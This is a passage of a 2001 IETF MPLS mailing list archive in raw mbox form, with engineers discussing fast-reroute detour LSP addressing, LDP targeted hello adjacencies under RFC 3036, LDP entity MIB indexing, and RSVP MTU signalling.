adr;quoted-printable:;;Francis Wellesplein, 1=0D=0AB-2018 Antwerpen;;;;BELGIUM
fn:Papadimitriou Dimitri
end:vcard

--------------5313390BFCB622C7244F1CAC--



From owner-mpls@UU.NET  Wed Oct 17 16:20:07 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA06525
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 16:20:07 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllef28109;
	Wed, 17 Oct 2001 20:16:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllef27676
	for mpls-outgoing; Wed, 17 Oct 2001 20:15:15 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllef27657
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 20:15:02 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllee20263
	for <mpls@uu.net>; Wed, 17 Oct 2001 20:14:03 GMT
From: francis.arts@alcatel.be
Received: from relay1.alcatel.be by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc119.alcatel.be [195.207.101.119])
	id QQllee25330
	for <mpls@uu.net>; Wed, 17 Oct 2001 20:14:12 GMT
Received: from Bemail06.net.alcatel.be (localhost [127.0.0.1])
	by relay1.alcatel.be (8.10.1/8.10.1) with ESMTP id f9HKDlm23023;
	Wed, 17 Oct 2001 22:13:47 +0200 (MET DST)
To: mpls@UU.NET
Cc: brockmas@se.bel.alcatel.be, riza.cetin@alcatel.be
X-Mailer: Lotus Notes Release 5.0.5  September 22, 2000
Message-ID: <OF6D33F719.3AA32041-ONC1256AE8.006F185B@net.alcatel.be>
Date: Wed, 17 Oct 2001 22:13:45 +0200
X-MIMETrack: Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.8 |June 18, 2001) at
 10/17/2001 22:13:47,
	Serialize complete at 10/17/2001 22:13:47
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="=_alternative 006F1B48C1256AE8_="
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multipart message in MIME format.
--=_alternative 006F1B48C1256AE8_=
Content-Type: text/plain; charset="us-ascii"

Hello,

I have a question on the establishment of the detour LSP in 
<draft-gan-fast-reroute>.
 
       Node1 ====> Node2 ======> Node3 =====> Node4 ======> node 5
                      v                       ^ 
                      |                       | 
                      +-----------------------+ 

Consider the detour from node 2 to node 4. Which IP address does node 2 
use as the destination IP address of the PATH message to establish the 
detour LSP to node 4:
* An IP address of node 4
OR
* the same destination IP address as the PATH message for the main LSP (== 
an IP address of node 5)
OR
* still another IP address?

Thanks for any help you can provide,

        Francis.
--=_alternative 006F1B48C1256AE8_=
Content-Type: text/html; charset="us-ascii"


<br><font size=2 face="sans-serif">Hello,</font>
<br>
<br><font size=2 face="sans-serif">I have a question on the establishment of the detour LSP in &lt;draft-gan-fast-reroute&gt;.</font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; </font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; &nbsp; &nbsp;Node1 ====&gt; Node2 ======&gt; Node3 =====&gt; Node4 ======&gt; node 5</font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; v &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ^ &nbsp; </font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; | &nbsp; </font>
<br><font size=2 face="MS Mincho">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; +-----------------------+ &nbsp; </font>
<br>
<br><font size=2 face="sans-serif">Consider the detour from node 2 to node 4. Which IP address does node 2 use as the destination IP address of the PATH message to establish the detour LSP to node 4:</font>
<br><font size=2 face="sans-serif">* An IP address of node 4</font>
<br><font size=2 face="sans-serif">OR</font>
<br><font size=2 face="sans-serif">* the same destination IP address as the PATH message for the main LSP (== an IP address of node 5)</font>
<br><font size=2 face="sans-serif">OR</font>
<br><font size=2 face="sans-serif">* still another IP address?</font>
<br>
<br><font size=2 face="sans-serif">Thanks for any help you can provide,</font>
<br>
<br><font size=2 face="sans-serif">&nbsp; &nbsp; &nbsp; &nbsp; Francis.</font>
--=_alternative 006F1B48C1256AE8_=--


From owner-mpls@UU.NET  Wed Oct 17 16:28:13 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA06620
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 16:28:13 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllef17319;
	Wed, 17 Oct 2001 20:27:21 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllef28573
	for mpls-outgoing; Wed, 17 Oct 2001 20:26:40 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllef28563
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 20:26:37 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllef16052
	for <mpls@UU.NET>; Wed, 17 Oct 2001 20:26:15 GMT
Received: from vill.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: t17.villagenetworks.com [65.112.106.17])
	id QQllef03566
	for <mpls@UU.NET>; Wed, 17 Oct 2001 20:26:06 GMT
Received: from vill.com (dhcp271.vill.com [192.168.2.171])
	by vill.com (8.8.8+Sun/8.8.8) with ESMTP id QAA07185;
	Wed, 17 Oct 2001 16:25:31 -0400 (EDT)
Message-ID: <3BCDE9E4.99F73820@vill.com>
Date: Wed, 17 Oct 2001 16:28:20 -0400
From: Irfan Lateef <ilateef@vill.com>
Organization: Village Networks Inc
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: francis.arts@alcatel.be
CC: mpls@UU.NET, brockmas@se.bel.alcatel.be
Subject: Re: draft-gan-fast-reroute
References: <OF72366288.DE966D3C-ONC1256AE8.00662CD7@net.alcatel.be>
Content-Type: multipart/alternative;
 boundary="------------E42265187A520A597B1FCD8D"
Sender: owner-mpls@UU.NET
Precedence: bulk


--------------E42265187A520A597B1FCD8D
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Francis,

Ideally the draft says detour should merge back with the main lsp
as soon as possible, and I see that you are attempting the right thing.
So the IP address should be that of node4.

Irfan Lateef

francis.arts@alcatel.be wrote:

>
> Hello,
>
> I have a question on the establishment of the detour LSP in
> <draft-gan-fast-reroute>.
>
>        Node1 ====> Node2 ======> Node3 =====> Node4 ======> node 5
>                       v                       ^
>                       |                       |
>                       +-----------------------+
>
> Consider the detour from node 2 to node 4. Which IP address does node
> 2 use as the destination IP address of the PATH message to establish
> the detour LSP to node 4:
> * An IP address of node 4
> OR
> * the same destination IP address as the PATH message for the main LSP
> (== an IP address of node 5)
> OR
> * still another IP address?
>
> Thanks for any help you can provide,
>
>         Francis.

--
Irfan Lateef
Village Networks Inc,


--------------E42265187A520A597B1FCD8D
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
Francis,
<p>Ideally the draft says detour should merge back with the main lsp
<br>as soon as possible, and I see that you are attempting the right thing.
<br>So the IP address should be that of node4.
<p>Irfan Lateef
<p>francis.arts@alcatel.be wrote:
<blockquote TYPE=CITE>&nbsp;
<br><font face="sans-serif"><font size=-1>Hello,</font></font>
<p><font face="sans-serif"><font size=-1>I have a question on the establishment
of the detour LSP in &lt;draft-gan-fast-reroute>.</font></font>
<p><font face="MS Mincho"><font size=-1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Node1 ====> Node2 ======> Node3 =====> Node4 ======> node 5</font></font>
<br><font face="MS Mincho"><font size=-1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
v&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
^</font></font>
<br><font face="MS Mincho"><font size=-1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
|</font></font>
<br><font face="MS Mincho"><font size=-1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
+-----------------------+</font></font>
<p><font face="sans-serif"><font size=-1>Consider the detour from node
2 to node 4. Which IP address does node 2 use as the destination IP address
of the PATH message to establish the detour LSP to node 4:</font></font>
<br><font face="sans-serif"><font size=-1>* An IP address of node 4</font></font>
<br><font face="sans-serif"><font size=-1>OR</font></font>
<br><font face="sans-serif"><font size=-1>* the same destination IP address
as the PATH message for the main LSP (== an IP address of node 5)</font></font>
<br><font face="sans-serif"><font size=-1>OR</font></font>
<br><font face="sans-serif"><font size=-1>* still another IP address?</font></font>
<p><font face="sans-serif"><font size=-1>Thanks for any help you can provide,</font></font>
<p><font face="sans-serif"><font size=-1>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Francis.</font></font></blockquote>

<p>--
<br>Irfan Lateef
<br>Village Networks Inc,
<br>&nbsp;</html>

--------------E42265187A520A597B1FCD8D--



From owner-mpls@UU.NET  Wed Oct 17 16:46:38 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA07104
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 16:46:38 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlleg28408;
	Wed, 17 Oct 2001 20:44:41 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlleg29778
	for mpls-outgoing; Wed, 17 Oct 2001 20:43:59 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQlleg29769
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 20:43:53 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlleg07022
	for <mpls@uu.net>; Wed, 17 Oct 2001 20:43:12 GMT
Received: from zcars0m9.nortelnetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zcars0m9.nortelnetworks.com [47.129.242.157])
	id QQlleg11776
	for <mpls@uu.net>; Wed, 17 Oct 2001 20:43:03 GMT
Received: from zcars04f.ca.nortel.com (zcars04f.ca.nortel.com [47.129.242.57])
	by zcars0m9.nortelnetworks.com (8.11.0/8.11.0) with ESMTP id f9HKgbS04337
	for <mpls@uu.net>; Wed, 17 Oct 2001 16:42:37 -0400 (EDT)
Received: from zcard00m.ca.nortel.com by zcars04f.ca.nortel.com;
          Wed, 17 Oct 2001 16:43:03 -0400
Received: from zcard04k.ca.nortel.com ([47.129.242.84]) 
          by zcard00m.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) 
          id 40SS12RN; Wed, 17 Oct 2001 16:42:38 -0400
Received: from americasm01.nt.com (philipma-1.ca.nortel.com [47.14.111.67]) 
          by zcard04k.ca.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) 
          id QK3T92Z3; Wed, 17 Oct 2001 16:42:39 -0400
Message-ID: <3BCDECD5.FA03386C@americasm01.nt.com>
Date: Wed, 17 Oct 2001 16:40:53 -0400
X-Sybari-Space: 00000000 00000000 00000000
From: "Philip Matthews" <philipma@nortelnetworks.com>
Organization: Nortel Networks
X-Mailer: Mozilla 4.75 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Identifying targeted adjacencies
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Orig: <philipma@americasm01.nt.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

How do we decide whether a received targeted hello is creating a new adjacency
or is refreshing an existing adjacency? Is the decision based solely on the LdpId
in the Hello, or is it also based on the source IP address of the message?

For example, LSR A is sending targeted hellos to LSR B. At 0, 20, and 40 seconds
past each minute, it sends an Hello out interface X and stamps it with the source
address of X. At 10, 30, and 50 seconds past each minute, it sends an Hello out
interface Y and stamps it with a source address of Y. All hellos use an LdpId of R:0.0,
where R is the router id of A. Do the Hellos create one or two adjacencies on B?
Look at another way, assuming both A and B are proposing a hold time of 15 seconds,
does the hold timer for the adjacency(s) on B expire?

(And yes, I know that A is sending hellos slower than the recommended rate in the spec,
but assume it is for some reason).

- Philip


From owner-mpls@UU.NET  Wed Oct 17 17:40:33 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA07908
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 17:40:33 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllek13640;
	Wed, 17 Oct 2001 21:38:05 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllek23381
	for mpls-outgoing; Wed, 17 Oct 2001 21:37:34 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllek23376
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 21:37:33 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllek21670
	for <mpls@uu.net>; Wed, 17 Oct 2001 21:36:30 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQllek10459
	for <mpls@uu.net>; Wed, 17 Oct 2001 21:36:46 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA05239
	for <mpls@uu.net>; Wed, 17 Oct 2001 17:36:27 -0400 (EDT)
Received: from marconi.com (lego-king.dc.fore.com [169.144.136.180])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA02423
	for <mpls@uu.net>; Wed, 17 Oct 2001 17:36:30 -0400 (EDT)
Message-ID: <3BCDF9DD.793B26CC@marconi.com>
Date: Wed, 17 Oct 2001 17:36:29 -0400
From: Jack Brennen <John.Brennen@marconi.com>
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: Identifying targeted adjacencies
References: <3BCDECD5.FA03386C@americasm01.nt.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Philip Matthews wrote:
> 
> How do we decide whether a received targeted hello is creating a new adjacency
> or is refreshing an existing adjacency? Is the decision based solely on the LdpId
> in the Hello, or is it also based on the source IP address of the message?
> 
> For example, LSR A is sending targeted hellos to LSR B. At 0, 20, and 40 seconds
> past each minute, it sends an Hello out interface X and stamps it with the source
> address of X. At 10, 30, and 50 seconds past each minute, it sends an Hello out
> interface Y and stamps it with a source address of Y. All hellos use an LdpId of
> R:0.0, where R is the router id of A. Do the Hellos create one or two adjacencies
> on B?  Look at another way, assuming both A and B are proposing a hold time of
> 15 seconds, does the hold timer for the adjacency(s) on B expire?
> 

The receiving LSR should only use the LDP ID in the Hello message; in fact, if the
optional "Transport Address TLV" is present, the receiving LSR should not use the
source address of the Hello message in any way.  RFC 3036 clearly gives maximal
latitude to the sender to use any source IP address it wishes; notably, the source
IP address need not correspond to the physical interface.  From section 2.5.2:

  "Note that when an LSR sends a Hello it selects the transport address
   for its end of the session connection and uses the Hello to advertise
   the address, either explicitly by including it in an optional
   Transport Address TLV or implicitly by omitting the TLV and using it
   as the Hello source address."


Also note that given your example above, LSR A *must* include the
"Transport Address TLV" in either the "X Hello" messages or the "Y Hello"
messages (preferably in both).  Otherwise, LSR A is violating the last
paragraph of 2.5.2:

  "An LSR MUST advertise the same transport address in all Hellos that
   advertise the same label space.  This requirement ensures that two
   LSRs linked by multiple Hello adjacencies using the same label spaces
   play the same connection establishment role for each adjacency."


Finally, given your example, the number of adjacencies created depends upon the
topology of the network and the configuration of LSR B.  If all of the Hello
messages from LSR A arrive at LSR B over the same link, or if they arrive on
different links in the same common label space, then one (1) hello adjacency
is created.

On the other hand, if the Hello messages from LSR A arrive at LSR B over
different links which are in disjoint label spaces, then two (2) label
adjacencies are created (both of which will have expiration problems).

   Jack


From owner-mpls@UU.NET  Wed Oct 17 18:20:21 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA08529
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 18:20:19 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllen12941;
	Wed, 17 Oct 2001 22:19:36 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllen15966
	for mpls-outgoing; Wed, 17 Oct 2001 22:18:55 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllen15959
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 22:18:52 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllen18708
	for <mpls@UU.NET>; Wed, 17 Oct 2001 22:18:22 GMT
Received: from tenornetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: rtu.tenornetworks.com [63.77.213.2])
	id QQllen16937
	for <mpls@UU.NET>; Wed, 17 Oct 2001 22:18:39 GMT
Received: from tenornet.com (newman [192.168.0.185])
	by tenornetworks.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f9HMIG025289;
	Wed, 17 Oct 2001 18:18:16 -0400 (EDT)
Received: from 192.168.0.185
          by tenornet.com;
          WED, 17 Oct 2001 18:18:31 -0700
Received: by newman.tenornet.com with Internet Mail Service (5.5.2650.21)
	id <404WPV4D>; Wed, 17 Oct 2001 18:18:30 -0400
Message-ID: <6B190B34070BD411ACA000B0D0214E56011B5258@newman.tenornet.com>
From: "Tiruveedhula, Kishore" <kishore@tenornetworks.com>
To: "'Joan Cucchiara'" <jcucchia@crescentnetworks.com>
Cc: Srinivas T M <srini_tm@yahoo.com>, mpls@UU.NET,
        jcucchiara@crescentnetworks.com, jluciani@crescentnetworks.com,
        hans@ipunplugged.com
Subject: RE: mplsLdpEntityTable
Date: Wed, 17 Oct 2001 18:18:30 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Joan,
 
>>      The entry in the entity table is indexed by both mplsEntityLdpIds
and
>> mplsLdpEntityIndex.
>>        Can't we create two entries with same mplsEntityLdpIds with
different
>> mplsLdpEntityIndex in the Entity Table to support both DOD and DU
sessions
>> using per platform label space on a LSR with same LSR id ?
>>  mplsLdpEntityIndex  is used to uniquely identify row in the
>> mplsLdpEntityTable. I think we can have two or more entries with same
>> mplsEntityLdpIds with different mplsLdpEntityIndex. Is this correct ?

>This is not a viable solution to the problem -- 

Why this is not a viable solution to this problem ? Is there any specific
reason ?

Even for each targeted peer configuration, one entry need to be created for
each targeted peer in the entity table
with same mplsEntityLdpIds with different mplsLdpEntityIndex in which
session created by extended discovery method. 

> you will still have only
>one LSRID and that implies that one session will be capable of both
>DOD and DU which is not possible with LDP.
>
>   Thanks, Joan

Thanks,
Kishore






From owner-mpls@UU.NET  Wed Oct 17 19:24:04 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA09252
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 19:24:03 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQller15726;
	Wed, 17 Oct 2001 23:23:23 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQller10065
	for mpls-outgoing; Wed, 17 Oct 2001 23:22:51 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQller10060
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 17 Oct 2001 23:22:42 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQller11493
	for <mpls@UU.NET>; Wed, 17 Oct 2001 23:22:00 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: yarilo.pluris.com [208.227.9.200])
	id QQller13853
	for <mpls@UU.NET>; Wed, 17 Oct 2001 23:22:14 GMT
Received: from avalon.pluris.com (avalon.pluris.com [172.16.50.49])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id QAA01895;
	Wed, 17 Oct 2001 16:20:28 -0700 (PDT)
Received: by avalon.pluris.com with Internet Mail Service (5.5.2653.19)
	id <4WXWT6DB>; Wed, 17 Oct 2001 16:20:28 -0700
Message-ID: <17C81AD1F1FED411991E006008F6D1CA013D46AB@avalon.pluris.com>
From: Sundara Murugan <sundar@pluris.com>
To: "'David Allan'" <dallan@nortelnetworks.com>,
        Sundara Murugan
	 <sundar@pluris.com>,
        "'Arthi Ayyangar '" <ayyangar@apollo.mctr.umbc.edu>,
        "'francis.arts@alcatel.be '" <francis.arts@alcatel.be>
Cc: "'Alia Atlas '" <aatlas@avici.com>, "'mpls@UU.NET '" <mpls@UU.NET>
Subject: RE: draft-gan-fast-reroute
Date: Wed, 17 Oct 2001 16:20:25 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15762.4D39F520"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15762.4D39F520
Content-Type: text/plain;
	charset="iso-8859-1"

Dave,
    You can request the MTU size you want by specifying it in the TSpec and
in the Adspec. Routers along the path update the Adspec MTU if its interface
MTU is lower than the received Adspec MTU.
 
When the Path message reaches the egress, the egress will know the MTU size
than can be supported by all the routers along the path. Then It can specify
this MTU in the flow spec. When the resv message reaches the ingress it can
either accept the resv or deny it.
 
-sundara

-----Original Message-----
From: David Allan [mailto:dallan@nortelnetworks.com]
Sent: Friday, October 12, 2001 1:13 PM
To: Sundara Murugan; 'Arthi Ayyangar '; 'francis.arts@alcatel.be '
Cc: 'Alia Atlas '; 'mpls@UU.NET '
Subject: RE: draft-gan-fast-reroute



Sundara: 

If the detour MTU must be >= the main LSP MTU, how is this achieved? If I
understand the protocol flows correctly, you only know what you got, you
cannot request a specific MTU. So there is not a method to easily find a
useful detour, and does this not disqualify perfectly good detour
opportunities when the RESV MTU for the main path exceeds the service
requirement?

thanks 
Dave 


------_=_NextPart_001_01C15762.4D39F520
Content-Type: text/html;
	charset="iso-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
<TITLE>RE: draft-gan-fast-reroute</TITLE>

<META content="MSHTML 5.00.2314.1000" name=GENERATOR></HEAD>
<BODY>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=968241423-17102001>Dave,</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=968241423-17102001>&nbsp;&nbsp;&nbsp; You can request the MTU size you 
want by specifying&nbsp;it in the TSpec and in the Adspec. Routers along the 
path update the Adspec MTU if&nbsp;its&nbsp;interface MTU is lower than the 
received Adspec MTU.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=968241423-17102001>&nbsp;</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=968241423-17102001>When 
the Path message reaches the egress, the egress will know the MTU size than can 
be supported by all the routers along the path. Then It can specify this MTU in 
the flow spec. When the resv message reaches the ingress it can either accept 
the resv or deny it.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=968241423-17102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=968241423-17102001>-sundara</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> David Allan 
  [mailto:dallan@nortelnetworks.com]<BR><B>Sent:</B> Friday, October 12, 2001 
  1:13 PM<BR><B>To:</B> Sundara Murugan; 'Arthi Ayyangar '; 
  'francis.arts@alcatel.be '<BR><B>Cc:</B> 'Alia Atlas '; 'mpls@UU.NET 
  '<BR><B>Subject:</B> RE: draft-gan-fast-reroute<BR><BR></DIV></FONT>
  <P><FONT size=2>Sundara:</FONT> </P>
  <P><FONT size=2>If the detour MTU must be &gt;= the main LSP MTU, how is this 
  achieved? If I understand the protocol flows correctly, you only know what you 
  got, you cannot request a specific MTU. So there is not a method to easily 
  find a useful detour, and does this not disqualify perfectly good detour 
  opportunities when the RESV MTU for the main path exceeds the service 
  requirement?</FONT></P>
  <P><FONT size=2>thanks</FONT> <BR><FONT size=2>Dave</FONT> 
</P></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C15762.4D39F520--


From owner-mpls@UU.NET  Wed Oct 17 23:06:31 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA13325
	for <mpls-archive@lists.ietf.org>; Wed, 17 Oct 2001 23:06:31 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllfg28182;
	Thu, 18 Oct 2001 03:05:31 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllfg05235
	for mpls-outgoing; Thu, 18 Oct 2001 03:05:13 GMT
